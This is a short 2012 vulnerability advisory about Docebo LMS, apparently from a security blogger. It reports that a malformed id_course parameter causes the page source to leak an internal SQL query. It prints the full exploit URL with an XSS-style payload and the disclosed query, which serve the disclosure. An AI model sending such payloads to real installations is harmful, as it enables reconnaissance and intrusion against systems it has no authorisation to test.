[EN] Docebo LMS (docebo_3605.zip) "SQL-information-disclosure" bug ;)

[ TITLE ....... ][ Docebo LMS (docebo_3605.zip)
[ DATE ........ ][ 15.04.2012
[ AUTOHR ...... ][ http://hauntit.blogspot.com
[ SOFT LINK ... ][ http://www.docebo.com
[ VERSION ..... ][ docebo_3605.zip
[ TESTED ON ... ][ LAMP
[ ----------------------------------------------------------------------- [

[ 1. What is this?
[ 2. What is the type of vulnerability?
[ 3. Where is bug :)
[ 4. More...

[--------------------------------------------[
[ 1. What is this?
This is very nice CMS, You should try it! ;)

[--------------------------------------------[
[ 2. What is the type of vulnerability?

This is kind of information disclosure bug.

Because of wrong validation, user can access 'error message' from Docebo.
http://docebo/doceboLms/index.php?modname=coursecatalogue&op=courselist&id_course=%29%27%3e%27%3e%3cBODY%20onload!#$%%26%28%29%2a~%2b-_%2e,%3a%3b%3f@[%2f|%5c]^%60%3dalert%28%22XSS%22%29%3e&re=ok_subs

(This is 'standard xss' attack from one of books about it. Anyway,)
for this 'payload', we will see an error:
"You can't access/lms/course/private/1/coursecatalogue/view".

Sure, but when we'll check source of page, there is more:
"

<!-- SELECT count(idOrg) FROM learning_organization LEFT JOIN learning_organization_access ON
( learning_organization.idOrg = learning_organization_access.idOrgAccess ) WHERE (idCourse = '1') 
AND (idResource <> 0) AND (visible = '1') AND ( (learning_organization_access.kind = 'user'   
AND learning_organization_access.value = '1040')      
OR learning_organization_access.idOrgAccess IS NULL)
-->You can't access/lms/course/private/1/coursecatalogue/view"

Tadaaam :)

[--------------------------------------------[
[ 3. Where is bug :)

Information disclosure bug for vulnerable parameter:
id_course.
This parameter is getting value from id parameter from 1 request before.

Check it.

[--------------------------------------------[
[ 4. More...

- http://hauntit.blogspot.com
- http://www.docebo.com
- http://www.google.com
- http://portswigger.net
[
[--------------------------------------------[
[ Ask me about new projects @ mail. ;)
]
[ Best regards
[